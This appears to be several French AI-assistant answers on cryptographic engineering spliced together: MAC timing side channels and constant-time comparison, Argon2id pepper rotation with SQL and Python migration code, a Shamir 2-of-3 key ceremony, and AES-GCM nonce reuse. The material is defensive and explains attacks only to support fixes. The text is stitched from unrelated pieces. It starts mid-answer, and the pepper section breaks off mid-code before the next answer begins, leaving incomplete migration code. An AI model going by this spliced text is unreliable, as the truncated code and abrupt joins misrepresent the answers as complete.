**Canal auxiliaire temporel** (timing side channel) sur la fonction de vérification, exploité à distance ou en local par mesures répétées pour moyenner le bruit (gigue réseau, ordonnanceur, cache).
L'encyclopédie locale décrit exactement cette classe : « Attaque temporelle : cette attaque consiste en l'étude du temps mis pour effectuer certaines opérations », dans une famille d'attaques qui « ne cherche pas à casser directement un système de sécurité mais va rechercher et exploiter des failles dans son implémentation », avec ce principe clé : « une sécurité mathématique ne garantit pas forcément une sécurité lors de l'utilisation en pratique » (Wikipédia FR, article Attaque par canal auxiliaire). Le même article situe les travaux fondateurs de Kocher sur ce type d'attaques dans les années 1990.
Le signal fuité est **la position du premier octet divergent** : plus le préfixe soumis est correct, plus la boucle de comparaison itère longtemps avant de sortir. La répétition des mesures sert uniquement à extraire ce signal, de l'ordre de quelques dizaines à quelques centaines de nanosecondes par octet, du bruit de mesure (constat de méthode, pas une valeur mesurée ici).
## 2. Primitive fautive
Ce n'est **pas** la primitive cryptographique : un HMAC-SHA-256 ou un KMAC correctement clé reste sûr. La faute est dans **la comparaison d'égalité du tag, à sortie anticipée et donc à temps variable dépendant du secret** (`memcmp`, `==` sur octets, `strcmp`, comparaison de chaînes hexadécimales, `Arrays.equals`).
Formellement, l'implémentation transforme la vérification en **oracle de préfixe** : au lieu d'un unique bit de réponse (valide / invalide), l'attaquant obtient la longueur du préfixe correct.
Coût de forge, calculé :
| Attaque | Nombre d'essais |
|---|---|
| Force brute sur un tag de 32 octets | $2^{256} \approx 1{,}16 \times 10^{77}$ |
| Recherche octet par octet, pire cas | $32 \times 256 = 8192$ |
| Recherche octet par octet, en moyenne | $32 \times 128 = 4096$ |
$$2^{256} \longrightarrow 32 \times 2^{8} = 2^{13} = 8192$$
soit un passage d'une complexité exponentielle à une complexité **linéaire** en la taille du tag (calcul vérifié avec l'outil Python local). À multiplier par le nombre $N$ de répétitions nécessaires pour lever le bruit, ce qui reste polynomial et donc praticable.
Précision de rigueur : ce chiffre suppose que l'oracle est interrogeable librement et que le signal temporel est effectivement séparable du bruit. Ces deux conditions sont des **hypothèses d'exploitabilité**, non des faits établis pour un système donné ; elles se vérifient expérimentalement (mesure de la distribution des latences à préfixe correct contre préfixe faux, test statistique de séparation).
## 3. Correction
**Comparaison à temps constant, sans branchement ni accès mémoire dépendant du secret.**
Principe : parcourir systématiquement les $n$ octets et accumuler les différences.
```c
/* Retourne 0 si et seulement si les deux tags sont egaux.
Duree d'execution independante du contenu de a et b. */
int ct_memcmp(const unsigned char *a, const unsigned char *b, size_t n)
{
unsigned char acc = 0;
for (size_t i = 0; i < n; i++) {
acc |= (unsigned char)(a[i] ^ b[i]); /* pas de break, pas de if */
}
/* Reduction sans branchement : 0 -> 0, non nul -> 1 */
return (int)((acc | (unsigned char)(-acc)) >> 7);
}
```
```python
import hmac, hashlib
def verifier(cle: bytes, message: bytes, tag_recu: bytes) -> bool:
attendu = hmac.new(cle, message, hashlib.sha256).digest()
# compare_digest : comparaison a temps constant de la bibliotheque standard
return hmac.compare_digest(attendu, tag_recu)
```
Primitives à utiliser plutôt qu'une comparaison maison :
| Environnement | Fonction |
|---|---|
| Python | `hmac.compare_digest` |
| Go | `crypto/subtle.ConstantTimeCompare` |
| Java | `java.security.MessageDigest.isEqual` |
| OpenSSL / C | `CRYPTO_memcmp` |
| libsodium | `sodium_memcmp`, ou `crypto_auth_verify` |
| Node.js | `crypto.timingSafeEqual` |
Précautions indispensables autour de cette correction :
1. **Comparer toujours la longueur totale du tag**, jamais un préfixe tronqué, et rejeter d'emblée toute longueur non conforme (une longueur incorrecte n'est pas un secret, la divulguer est acceptable ; le contenu ne l'est pas).
2. **Neutraliser l'optimiseur.** Un compilateur peut réintroduire un court-circuit. Utilisez la fonction de bibliothèque auditée, ou à défaut des accumulateurs `volatile` et des barrières ; ne comptez pas sur le fait qu'une boucle écrite sans `break` reste sans `break` après optimisation.
3. **Comparer sur des octets bruts, pas sur des chaînes hexadécimales ou Base64.** À rappeler : Base64 et hexadécimal ne sont pas du chiffrement et n'offrent aucune protection ; ici ils ne font qu'ajouter des chemins de code à temps variable (parsing, allocation).
4. **Renfort par masquage (blinding), défense en profondeur.** Comparer $\mathrm{HMAC}(k', \text{tag}_{\text{recu}})$ à $\mathrm{HMAC}(k', \text{tag}_{\text{attendu}})$ avec $k'$ une clé aléatoire par processus : même si la comparaison fuit, l'attaquant ne contrôle plus la valeur comparée et l'oracle de préfixe devient inutilisable.
5. **Uniformiser la réponse d'erreur** : un seul code d'échec, un seul message, pas de distinction « tag mal formé » / « tag faux » / « message inconnu » côté client. L'article cité recommande d'ailleurs de « limiter les messages d'erreur et la communication d'informations diverses avec l'extérieur ».
6. **Limiter et journaliser les tentatives** (quotas par identité et par IP, alerte sur volumétrie anormale de vérifications échouées) : cela ne corrige pas la fuite, cela réduit la fenêtre d'exploitation. Ne présentez jamais cela comme le correctif principal.
7. **N'ajoutez pas de délai aléatoire comme unique remède** : un bruit additif indépendant est éliminé par moyennage, précisément le mode opératoire décrit dans votre énoncé. C'est une mitigation faible, pas une correction.
8. **Ne journalisez jamais le tag attendu**, même partiellement, même haché : un secret n'a pas sa place dans un log.
Test de non-régression proposé, avec assertion réelle :
```python
import time, statistics, hmac, hashlib
def mesurer(fn, cle, msg, tag, n=2000):
ech = []
for _ in range(n):
t0 = time.perf_counter_ns()
fn(cle, msg, tag)
ech.append(time.perf_counter_ns() - t0)
return statistics.median(ech)
cle, msg = b"k"*32, b"m"
bon = hmac.new(cle, msg, hashlib.sha256).digest()
prefixe_ok = bon[:16] + bytes(16) # 16 octets corrects puis faux
tout_faux = bytes(32)
t1 = mesurer(verifier, cle, msg, prefixe_ok)
t2 = mesurer(verifier, cle, msg, tout_faux)
# Ecart median attendu proche de zero : seuil a calibrer sur la machine de CI
assert abs(t1 - t2) / max(t1, t2) < 0.05, (t1, t2)
```
Limite honnête de ce test : je ne l'ai pas exécuté ici, et un test temporel en CI est bruité et dépendant de la machine. Il détecte une fuite grossière (sortie anticipée), il ne prouve pas l'absence de fuite. La preuve d'absence relève de l'analyse du code machine généré, ou d'outils dédiés à la vérification du temps constant. Et par principe, un nombre fini de mesures ne démontre pas une propriété universelle.
## 4. Propriété
Deux niveaux à ne pas confondre.
**Propriété compromise, au sens cryptographique :** l'**infalsifiabilité du MAC**, c'est-à-dire la résistance à la forge sous attaque à messages choisis, notée EUF-CMA (unforgeability). L'attaquant produit un couple message, tag accepté sans connaître la clé. Par conséquent tombent l'**authenticité de l'origine des données** et l'**intégrité** du message. Il faut noter que la **confidentialité de la clé** n'est pas nécessairement violée, la clé n'est pas extraite ; et la **disponibilité** n'est pas concernée. Ce sont quatre propriétés distinctes, seules les deux premières sont ici en défaut.
**Propriété absente dans l'implémentation, cause racine :** l'**indépendance du temps d'exécution vis-à-vis des données secrètes**, dite propriété de temps constant, ou non-interférence temporelle. C'est une propriété d'implémentation qui ne figure pas dans le modèle de sécurité EUF-CMA en boîte noire, et c'est précisément l'écart entre le modèle et la machine réelle que pointe l'article cité : la sécurité mathématique ne garantit pas la sécurité en pratique.
Point de méthode à conserver : après correction, une concordance de tag ne devient pas une preuve mathématique absolue d'authenticité. Elle constitue une assurance cryptographique très forte **sous les hypothèses de sécurité de la fonction** (PRF, clé secrète et de longueur suffisante, absence de collision exploitable), et sous l'hypothèse que l'implémentation ne fuit pas par un autre canal auxiliaire, cache, consommation, émissions électromagnétiques, tous listés dans l'article de référence.
Source encyclopédique unique utilisée : Wikipédia FR, article *Attaque par canal auxiliaire* (lu via l'encyclopédie locale). Calculs de complexité vérifiés avec l'outil Python local. Les noms d'API listés au point 3 relèvent de ma connaissance des bibliothèques standard et ne sont pas confirmés par cette encyclopédie ; vérifiez-les dans la documentation de la version exacte que vous utilisez avant intégration.## 1. Diagnostic et limite fondamentale
**La limite est structurelle, pas opérationnelle : elle dépend de l'endroit où P1 est injecté.**
Deux constructions coexistent sous le nom de « pepper » (article Wikipedia EN « Pepper (cryptography) », section Types), et une seule est rotatable.
| Construction | Stockage | Rotation P1 → P2 sans mot de passe |
|---|---|---|
| A. Pepper en entrée de la KDF : $\mathrm{tag}=\mathrm{Argon2id}(P=\mathrm{pwd},\,S=\mathrm{salt},\,K=P_1)$ | tag, salt | **Impossible** |
| B. Pepper en enveloppe réversible : $h=\mathrm{Argon2id}(\mathrm{pwd},\mathrm{salt})$ puis $c=\mathrm{AEAD}_{P_1}(h)$ | c, nonce, salt | **Possible, en lot, hors ligne** |
Démonstration de l'impossibilité dans le cas A : Argon2id est une fonction de dérivation à sens unique dont la clé optionnelle $K$ est absorbée dans le bloc initial $H_0$ au même titre que le mot de passe (RFC 9106, algorithme Argon2, tel que reproduit dans l'article Wikipedia EN « Argon2 » : `buffer ← p ∥ T ∥ m ∥ t ∥ v ∥ y ∥ len(P) ∥ P ∥ len(S) ∥ S ∥ len(K) ∥ K ∥ ...`, `H0 ← Blake2b(buffer,64)`). Le stocké $\mathrm{tag}$ ne contient donc aucune information exploitable permettant de calculer $\mathrm{Argon2id}(\mathrm{pwd},\mathrm{salt},K=P_2)$ sans reposséder `pwd`. Aucune astuce cryptographique ne contourne cela : si vous pouviez le faire, la fonction ne serait pas à sens unique.
Anti-pattern à écarter explicitement : l'empilement $t_2=\mathrm{HMAC}(P_2, t_1)$ ne constitue pas une rotation. Il ajoute P2 mais rend P1 nécessaire à perpétuité pour toute vérification future, donc interdit le retrait, qui est précisément l'objectif. C'est une accumulation, pas un remplacement.
Conséquence pratique : dans le cas A, la rotation n'est possible que **paresseusement, à la connexion**, c'est-à-dire au seul instant où le mot de passe en clair transite légitimement en mémoire. La rotation devient alors un processus **statistique et à durée longue**, non un job de maintenance.
## 2. Décision recommandée
1. Si vous êtes en cas A : conduisez **deux chantiers en parallèle**. D'abord la migration paresseuse P1 → P2 pour tenir l'exigence immédiate de rotation. Ensuite, et surtout, faites de cette migration l'occasion de basculer vers l'architecture B (enveloppe AEAD), afin que **la rotation suivante soit un simple rechiffrement**. Rehacher deux fois n'a pas de sens : un seul passage à la connexion produit directement l'enregistrement cible.
2. Si vous êtes déjà en cas B : rotation en lot, idempotente, terminable en heures ou jours selon la volumétrie, sans aucune interaction utilisateur.
Justification de B : le chiffrement des empreintes de mots de passe est précisément la construction recommandée pour permettre la rotation du pepper (T. Duong, « Why you want to encrypt password hashes », 2020, référencé dans l'article Wikipedia EN « Pepper (cryptography) », qui note « it has been suggested to combine the pepper by encrypting salted password hashes, which allows rotation of the pepper »). Les propriétés de secret restent équivalentes : la clé ne quitte pas le HSM, une base volée sans le HSM reste inexploitable même pour un mot de passe faible.
Contrainte de dimensionnement du secret : au moins 112 bits pour que la recherche exhaustive du pepper soit hors de portée, y compris quand un attaquant connaît un couple (mot de passe, sel) (NIST SP 800-63B §5.1.1.2, tel que rapporté et interprété dans l'article Wikipedia EN « Pepper (cryptography) »). En pratique, une clé AES-256 dans le HSM satisfait largement cette borne.
## 3. Schéma de données versionné
Le versionnage explicite du pepper est la pièce maîtresse. L'identifiant de clé n'est **pas** un secret : le stocker en clair évite un double calcul Argon2id à chaque échec d'authentification, qui serait un vecteur d'amplification de déni de service.
```sql
CREATE TABLE credential (
user_id uuid PRIMARY KEY,
kdf text NOT NULL, -- 'argon2id'
kdf_params jsonb NOT NULL, -- {"v":19,"m":65536,"t":3,"p":4,"len":32}
salt bytea NOT NULL, -- 16 octets, CSPRNG, par utilisateur
scheme text NOT NULL, -- 'A_keyed_kdf' | 'B_aead_envelope'
pepper_kid text NOT NULL, -- 'P1' | 'P2' (public, non secret)
wrap_alg text NULL, -- 'AES-256-GCM' si scheme='B_aead_envelope'
wrap_nonce bytea NULL, -- 12 octets, unique par chiffrement
secret_blob bytea NOT NULL, -- tag Argon2id (A) ou AEAD(h) (B)
row_version bigint NOT NULL DEFAULT 1,
updated_at timestamptz NOT NULL DEFAULT now()
);
-- Index partiel : compteur de reste-à-faire et parcours du batch, à coût quasi nul.
CREATE INDEX credential_pending_p1
ON credential (user_id)
WHERE pepper_kid = 'P1';
```
AAD obligatoire pour le mode B : `AAD = user_id ‖ kdf ‖ kdf_params ‖ salt ‖ pepper_kid ‖ scheme`. Sans cela, un attaquant disposant d'un accès en écriture à la base pourrait copier l'enveloppe de la victime vers un compte qu'il contrôle, ou rejouer un ancien blob. L'AEAD lie l'enveloppe à sa ligne.
Nonce : 12 octets aléatoires **régénérés à chaque rechiffrement**. Réutiliser un nonce avec une clé AES-GCM différente est acceptable, mais le réutiliser avec la même clé casse la sécurité ; imposez la régénération systématique, c'est plus simple à auditer qu'un raisonnement conditionnel.
## 4. Stratégie de vérification pendant la fenêtre de coexistence
Principe : **acceptation de P1 et P2 en lecture, écriture exclusivement en P2.**
```python
# Non exécuté ici : code raisonné, à faire passer par vos tests avant déploiement.
import hmac
from argon2.low_level import hash_secret_raw, Type
KDF = dict(time_cost=3, memory_cost=65536, parallelism=4, hash_len=32, type=Type.ID)
def verify_and_migrate(user_id: str, password: str, db, hsm) -> bool:
row = db.fetch_credential(user_id)
if row is None:
dummy_argon2(password) # coût constant : anti-énumération de comptes
return False
kid = row["pepper_kid"] # public : un seul calcul KDF, pas de double coût
ok = False
if row["scheme"] == "A_keyed_kdf":
# P1 et P2 restent dans le HSM : la KDF keyed doit être exécutée côté HSM,
# ou le pepper est un secret déchaîné dans un enclave/service dédié.
ok = hsm.argon2id_verify(kid=kid, password=password,
salt=row["salt"], params=row["kdf_params"],
expected=row["secret_blob"])
else:
aad = build_aad(row)
h_ref = hsm.aead_decrypt(kid=kid, alg=row["wrap_alg"],
nonce=row["wrap_nonce"],
ciphertext=row["secret_blob"], aad=aad)
h_cal = hash_secret_raw(password.encode(), row["salt"], **KDF)
ok = hmac.compare_digest(h_ref, h_cal) # comparaison en temps constant
zeroize(h_ref, h_cal)
if ok and (kid != "P2" or row["scheme"] != "B_aead_envelope"):
# Unique fenêtre où le clair est disponible : on écrit directement la cible.
write_target_credential(db, row, password, hsm) # scheme='B', kid='P2'
return ok
```
Cinq exigences non négociables sur cette étape :
- **Comparaison en temps constant** (`compare_digest`) et rejet en temps homogène, sinon vous ouvrez un canal auxiliaire (l'ordre de test d'un pepper à deviner est un vecteur de timing documenté, cf. article Wikipedia EN « Pepper (cryptography) », section sur le pepper à redécouvrir).
- **Aucun double calcul Argon2id** sur un échec : le `kid` étant lu en base, un seul essai a lieu. Argon2id à 64 MiB et 3 passes (paramètre « memory-constrained » recommandé par RFC 9106, cité dans l'article Wikipedia EN « Argon2 ») coûte cher ; le doubler à chaque tentative invalide serait un levier de saturation.
- **Chemin d'erreur fermé** : une erreur HSM, une clé indisponible ou un `kid` inconnu doit produire un refus d'authentification et une alerte, jamais un contournement du pepper (fail closed).
- **Zéro fuite en journal** : ni `secret_blob`, ni `h`, ni le mot de passe, ni un condensat de ceux-ci. Un hash journalisé reste attaquable hors ligne.
- **Métrique par `kid`** : compteur de vérifications réussies par valeur de `pepper_kid`, plus `SELECT count(*) FROM credential WHERE pepper_kid='P1'`. C'est la seule mesure qui pilotera le retrait.
## 5. Migration
### 5.1 Cas B, rotation en lot, idempotente et reversible
```python
BATCH = 1000
def rotate_batch(db, hsm) -> int:
rows = db.fetch("""
SELECT user_id, kdf, kdf_params, salt, scheme, pepper_kid,
wrap_alg, wrap_nonce, secret_blob, row_version
FROM credential
WHERE pepper_kid = 'P1'
ORDER BY user_id
LIMIT %s
FOR UPDATE SKIP LOCKED
""", (BATCH,))
done = 0
for r in rows:
aad_old = build_aad(r)
h = hsm.aead_decrypt(kid='P1', alg=r["wrap_alg"], nonce=r["wrap_nonce"],
ciphertext=r["secret_blob"], aad=aad_old)
new_nonce = os.urandom(12)
aad_new = build_aad({**r, "pepper_kid": "P2"})
blob = hsm.aead_encrypt## Les quatre propriétés de contrôle obtenues **1. Absence de point de compromission unique (confidentialité résistante à un opérateur)** Avec un schéma à seuil $(k;n) = (2;3)$, la connaissance de $k-1 = 1$ part laisse le secret complètement indéterminé, au sens où toutes ses valeurs possibles restent équiprobables (source : article « Partage de clé secrète de Shamir », Wikipédia FR, section Définition mathématique). Un opérateur seul, même malveillant ou victime d'un vol de sa part, ne peut donc ni reconstituer la clé racine ni s'en servir. C'est une garantie de théorie de l'information, non une garantie calculatoire (même source, section Propriétés). **2. Tolérance à la perte ou à l'indisponibilité d'un dépositaire (disponibilité)** Puisque $2$ parts sur $3$ suffisent, la perte d'une part, le départ, l'indisponibilité ou le décès d'un opérateur ne rend pas la clé irrécupérable. C'est précisément le cas d'usage énoncé pour le schéma à seuil (même source, section Explication avancée : « que faire si le détenteur de la clé n'est pas disponible ou meurt ? »). **3. Contrôle double obligatoire et imputabilité de l'acte de génération (dual control, séparation des pouvoirs)** Aucune action sur la clé racine, génération, sauvegarde, restauration, usage, ne peut être menée unilatéralement : il faut la coopération effective de deux dépositaires distincts. Le coût minimal d'un détournement interne devient donc une collusion de deux personnes, ce qui est un fait de conception du seuil (déduction directe de la propriété de seuil, même source). Combiné à la transcription, cela donne une trace nominative de qui a participé. **4. Réduction de la surface d'attaque à distance (isolation physique) et intégrité vérifiable a posteriori de la transcription** La machine hors ligne relève de la mesure dite *air gap*, isolation physique du système de tout réseau informatique, qui, « lorsqu'elle est correctement implémentée, rend toute tentative de piratage à distance impossible, quelle que soit sa sophistication », au prix de contraintes d'exploitation importantes (source : article « Air gap », Wikipédia FR). La transcription signée fournit, elle, une propriété distincte : l'**intégrité et l'authenticité** du compte rendu, toute altération ultérieure du texte invalidant la vérification de signature, sous les hypothèses de sécurité de l'algorithme et de garde exclusive de la clé de signature. Il s'agit d'une assurance cryptographique très forte, non d'une preuve mathématique absolue. ## Ce qui n'est PAS obtenu (à ne pas confondre) Ces quatre propriétés sont réelles, mais leur portée est bornée. Je le précise car la question porte sur du contrôle, et un contrôle surévalué est un risque en soi. | Croyance à écarter | Réalité | |---|---| | « La clé est mathématiquement inviolable » | La confidentialité tombe dès la collusion de $2$ opérateurs sur $3$ ; le seuil $2$ est un compromis disponibilité/sécurité, pas un maximum de sécurité | | « Hors ligne = inattaquable » | Des canaux latéraux ont été démontrés : communication avec une machine sous air gap via une imprimante multifonction compromise (Adi Shamir, Black Hat Europe, Amsterdam, 2014) et exfiltration via la DEL d'activité du disque dur (chercheurs de l'université Ben Gourion, 2017), après infection préalable (source : article « Air gap ») | | « La transcription signée prouve que la cérémonie s'est bien passée » | La signature prouve l'intégrité et l'origine du document, pas la véracité de son contenu. Elle n'exclut ni une copie clandestine de la clé, ni un aléa biaisé, ni un logiciel de génération piégé. Le partage de Shamir lui-même peut contenir une porte dérobée logicielle : en l'absence des coefficients du polynôme, « les participants ne peuvent vérifier si l'autorité les trompe ou non » (source : même article Shamir, section Porte dérobée) | | « Une signature suffit à datar l'acte » | Sans horodatage qualifié ou ancrage externe conservé hors de portée des opérateurs, rien n'empêche la production ultérieure d'une transcription concurrente signée avec la même clé. Je ne dispose pas ici d'une source pour affirmer quel dispositif d'horodatage précis serait requis dans votre référentiel | ## Contrôles complémentaires à envisager (hypothèses de bonne pratique, non sourcées ici) Je les présente explicitement comme des recommandations d'ingénierie, non comme des faits établis par une source que j'aurais consultée : matériel de génération audité et scellé, vérification de la qualité de l'entropie, témoin indépendant sans part, ancrage externe de l'empreinte de la transcription auprès d'un tiers, procédure de rotation et de révocation écrite avant la cérémonie, et test de restauration réel avec deux parts pour valider que le schéma fonctionne effectivement, un secret jamais restauré étant un secret dont on ne sait rien.
## 1. Diagnostic: la propriété violée
**Propriété violée: l'unicité du couple (clé, IV).** La sécurité de GCM repose sur le choix d'un IV unique pour chaque chiffrement effectué sous la même clé, et la réutilisation d'un IV peut exposer la clé de chiffrement et permettre la falsification (source: article encyclopédique *Galois/Counter Mode*, section Security, lu ci-dessus).
Mécaniquement, deux couches s'effondrent simultanément.
**Couche confidentialité (CTR).** GCM produit le chiffré en mode compteur (source: même article). Pour un IV de 96 bits, $\text{Counter}_0 = IV \parallel 0^{31} \parallel 1$ (source: même article, formule de Counter 0). Le flux de clé est donc une fonction déterministe de $(K, IV)$ seuls:
$$C^{(1)}_i = P^{(1)}_i \oplus E_K(\text{Counter}_i), \qquad C^{(2)}_i = P^{(2)}_i \oplus E_K(\text{Counter}_i)$$
**Couche authenticité (GHASH).** Le tag est obtenu en chiffrant la sortie de GHASH, avec la sous-clé de hachage $H = E_K(0^{128})$ (source: même article, définition de GHASH et de $H$). Le masque final $E_K(\text{Counter}_0)$ dépend lui aussi uniquement de $(K, IV)$:
$$T = \mathrm{GHASH}(H, A, C) \oplus E_K(\text{Counter}_0)$$
Conséquence: la sécurité IND-CPA **et** l'inforgeabilité (INT-CTXT) sont perdues en même temps. Le mode dégénère en chiffrement de Vernam à masque réutilisé, doublé d'un MAC dont la sous-clé devient calculable.
## 2. Fuite de confidentialité: quantification exacte
Le flux de clé s'annule par XOR:
$$C^{(1)} \oplus C^{(2)} = \left(P^{(1)} \oplus KS\right) \oplus \left(P^{(2)} \oplus KS\right) = P^{(1)} \oplus P^{(2)}$$
Ce qui fuit, précisément:
| Élément | Statut après réutilisation |
|---|---|
| $P^{(1)} \oplus P^{(2)}$ | Révélé **intégralement et sans coût**, sur la longueur commune |
| $P^{(2)}$ si $P^{(1)}$ est connu | Récupéré en clair, octet par octet |
| Portions à format prévisible (en-têtes, JSON, XML, protocole, gabarits) | Récupérées par *crib dragging* et analyse de redondance linguistique |
| Égalité de segments | Si $P^{(1)}_i = P^{(2)}_i$, alors le XOR vaut 0 à cette position: la structure est cartographiée |
| Clé AES $K$ | **Non** révélée directement par cette identité |
Point de rigueur à ne pas confondre: la confidentialité tombe pour ces deux messages précis et pour tout autre message chiffré sous le même $(K, IV)$, mais l'identité XOR seule n'extrait pas $K$.
Un raisonnement statistique classique s'applique ensuite: sur du texte structuré, le XOR de deux clairs suffit souvent à les séparer tous les deux, car la distribution des octets n'est pas uniforme. Je présente cela comme un fait bien établi en cryptanalyse du masque réutilisé, mais je ne dispose pas ici d'une source encyclopédique locale l'énonçant explicitement: traitez ce point comme solidement admis plutôt que comme cité.
## 3. Risque d'authenticité: la sous-clé de hachage devient calculable
C'est le dommage le plus grave, et il est souvent sous-estimé.
En XORant les deux tags produits sous le même $(K, IV)$, le masque $E_K(\text{Counter}_0)$ disparaît:
$$T^{(1)} \oplus T^{(2)} = \mathrm{GHASH}(H, A^{(1)}, C^{(1)}) \oplus \mathrm{GHASH}(H, A^{(2)}, C^{(2)})$$
Or GHASH est un polynôme en $H$ sur $\mathrm{GF}(2^{128})$, puisque $X_i = \sum_{j=1}^{i} S_j \cdot H^{\,i-j+1}$ (source: même article, définition de $X_i$), le corps étant défini par $x^{128}+x^7+x^2+x+1$ (source: même article).
L'attaquant obtient donc une **équation polynomiale dont la seule inconnue est $H$**:
$$\sum_{j} \left(S^{(1)}_j \oplus S^{(2)}_j\right) H^{\,m+n+2-j} = T^{(1)} \oplus T^{(2)}$$
Un polynôme non nul de degré $d$ sur un corps admet au plus $d$ racines, donc au plus $d$ candidats pour $H$, avec $d$ borné par le nombre de blocs de 128 bits des messages. Deux paires de messages, ou une seule vérification de tag, suffisent à lever l'ambiguïté. Cette dérivation est une **déduction directe** de la définition de GHASH citée ci-dessus, elle n'est pas une citation.
Conséquences opérationnelles, une fois $H$ connu:
- l'attaquant **forge des chiffrés valides** pour ce nonce sans connaître $K$, en calculant lui-même GHASH et en réutilisant le masque de tag récupéré;
- il **modifie les données associées** (AAD) en réajustant le tag;
- il **tronque, permute ou substitue des blocs** en conservant un tag qui passe la vérification;
- la garantie AEAD « les données sont arrivées exactement telles qu'envoyées » (source: même article, introduction) est **nulle** pour ce nonce, et affaiblie pour la clé entière.
Cette attaque est connue dans la littérature sous le nom d'attaque interdite (*forbidden attack*), attribuée à Antoine Joux. Je le mentionne au titre de ma mémoire de modèle, **non vérifiée par mes outils**: je n'ai pas pu la confirmer dans l'encyclopédie locale, ne la citez pas comme référence établie sans contrôle de la source primaire.
Distinction demandée par la rigueur: ici **confidentialité, intégrité et authenticité** tombent ensemble; la **disponibilité** n'est pas directement affectée.
## 4. Démonstration algébrique reproductible
Ma tentative d'exécution locale a échoué sur une erreur d'import (`NameError: hashlib`). **Je n'ai donc aucun résultat exécuté à vous présenter**, et je ne prétends pas le contraire. Le code ci-dessous est corrigé et raisonné, mais **non exécuté** dans cette session; il illustre l'identité, il ne la prouve pas au-delà des cas testés.
```python
import hashlib
def flux_pseudo(cle: bytes, nonce: bytes, n: int) -> bytes:
"""Substitut pedagogique du flux CTR de GCM.
Ce n'est PAS AES : seule l'idee 'flux = f(cle, nonce)' est reproduite."""
sortie, compteur = b"", 1
while len(sortie) < n:
sortie += hashlib.sha256(cle + nonce + compteur.to_bytes(4, "big")).digest()
compteur += 1
return sortie[:n]
def xor(a: bytes, b: bytes) -> bytes:
return bytes(x ^ y for x, y in zip(a, b))
cle, nonce = b"K" * 32, b"N" * 12 # MEME cle, MEME nonce : la faute
p1 = b"VIREMENT 1000 EUR COMPTE A"
p2 = b"VIREMENT 9000 EUR COMPTE B"
ks = flux_pseudo(cle, nonce, max(len(p1), len(p2)))
c1, c2 = xor(p1, ks), xor(p2, ks)
assert xor(c1, c2) == xor(p1, p2), "identite du masque reutilise"
assert xor(xor(c1, c2), p1) == p2, "p2 recupere depuis p1 connu"
print(xor(xor(c1, c2), p1).decode())
```
Limite méthodologique explicite: un test qui passe sur deux messages ne démontre pas une propriété universelle. La validité générale vient de l'algèbre du paragraphe 2, où $KS$ s'annule par involutivité du XOR, non du test.
## 5. Correction: que faire, dans l'ordre
### Phase A, traitement de l'incident (avant tout correctif de code)
1. **Considérez la clé comme compromise.** Rotation immédiate, révocation de l'ancienne, et non pas seulement réparation du générateur de nonce.
2. **Périmètre d'exposition:** tout message chiffré sous cette clé est suspect en confidentialité, et tout message *reçu* est suspect en authenticité, y compris ceux dont le nonce était correct, dès lors que $H$ est déductible.
3. **Ne journalisez ni la clé, ni le nonce fautif accompagné du chiffré**, sous aucune forme, pas même hachée. Un secret n'a pas sa place dans un log.
4. Conservez les preuves techniques nécessaires à l'analyse en zone d'accès restreint, et documentez la fenêtre temporelle.
### Phase B, correction de la génération d'IV
| Stratégie | Règle | Contrainte |
|---|---|---|
| Compteur déterministe | IV de 96 bits = champ fixe par émetteur $\parallel$ compteur strictement croissant, persistant | Exige un état durable et une unicité entre instances |
| IV aléatoire | 96 bits d'un générateur **cryptographique**, jamais 64 bits | Borne des anniversaires: limitez le nombre de messages par clé et prévoyez la rotation |
| Dérivation par message | Clé de session dérivée par KDF à partir d'un nonce long, puis GCM sous cette clé | Complexité accrue, KDF à valider |
Limites quantitatives à respecter, établies par la source: pour un couple (clé, IV) donné, GCM est limité à $2^{39} - 256$ bits de clair, soit 64 GiO, et le nombre total de blocs de clair et de données associées protégés pendant la vie d'une clé devrait rester borné à $2^{64}$; NIST SP 800-38D fournit des lignes directrices pour le choix de l'IV et limite le nombre d'IV possibles pour une seule clé (source: article *Galois/Counter Mode*, section Security).
Longueur de tag: n'utilisez pas de tags courts. Les valeurs admissibles sont 128, 120, 112, 104 ou 96 bits, et 64 ou 32 bits ne sont acceptables que sous contraintes strictes de volume et de durée de vie de clé détaillées en annexe C de SP 800-38D (source: même article). Retenez **128 bits**.
### Phase C, correction architecturale, la plus robuste
Si vous ne pouvez pas **garantir** l'unicité du nonce, par exemple avec plusieurs serveurs ou équipements réseau chiffrant sous la même clé sans coordination, changez de mode: **AES-GCM-SIV**, défini dans la RFC 8452, offre une résistance au mésusage du nonce; en cas de nonce réutilisé, rien n'est révélé, sauf si le **même message** est chiffré plusieurs fois avec le même nonce, cas où l'attaquant observe seulement la répétition, puisque le chiffrement est une fonction déterministe du nonce et du message; aucune autre information ne fuit (source: article encyclopédique *AES-GCM-SIV*, lu ci-dessus). Le coût est une performance légèrement inférieure à GCM (source: même article).
### Phase D, garde-fous d'implémentation et de test
1. **Un objet de chiffrement, un usage.** Ne réutilisez jamais une instance de cipher initialisée, cause classique de réutilisation silencieuse.
2. Interdisez par revue de code tout nonce constant, nonce à zéro, nonce dérivé d'un identifiant métier réutilisable, ou nonce dérivé du clair sans construction SIV.
3. **Tests d'invariant:** test unitaire qui chiffre $N$ messages et vérifie l'absence de collision de nonce; test de non régression qui échoue si le nonce est déterministe et constant.
4. **Compteur d'usage par clé** avec alerte et rotation automatique avant les bornes de la Phase B.
5. Secrets dans un coffre, jamais en clair dans le code ni committés, avec rotation documentée.
6. Rappel: base64, hexadécimal et obfuscation ne sont pas du chiffrement et ne compensent rien ici.
## 6. Risques résiduels et limites de cette réponse
- Aucune correction ne rend « sans risque » un système ayant déjà réutilisé un nonce: les chiffrés déjà exfiltrés restent exploitables hors ligne, indéfiniment. La rotation protège l'avenir, pas le passé.
- Même avec un nonce parfaitement unique, GCM reste vulnérable aux tags tronqués, aux fuites par canal auxiliaire des implémentations non protégées, et au dépassement des bornes de volume.
- Je n'ai **pas exécuté** le code de la section 4, et je n'ai pas consulté SP 800-38D directement: les valeurs numériques citées le sont via l'article encyclopédique *Galois/Counter Mode*. Vérifiez-les dans NIST SP 800-38D avant toute décision de conformité.
- L'attribution de l'attaque interdite à Joux relève de ma mémoire non vérifiée, elle est potentiellement imprécise ou périmée.
